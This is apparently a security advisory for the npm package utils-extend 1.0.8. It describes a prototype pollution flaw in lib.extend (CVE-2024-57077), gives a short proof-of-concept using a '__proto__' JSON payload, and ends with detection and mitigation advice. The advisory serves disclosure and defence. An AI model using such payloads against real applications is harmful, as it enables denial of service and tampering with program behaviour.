utils-extendnpmDescription
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
PoC
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for utils-extend, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of utils-extend for CVE-2024-57077. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
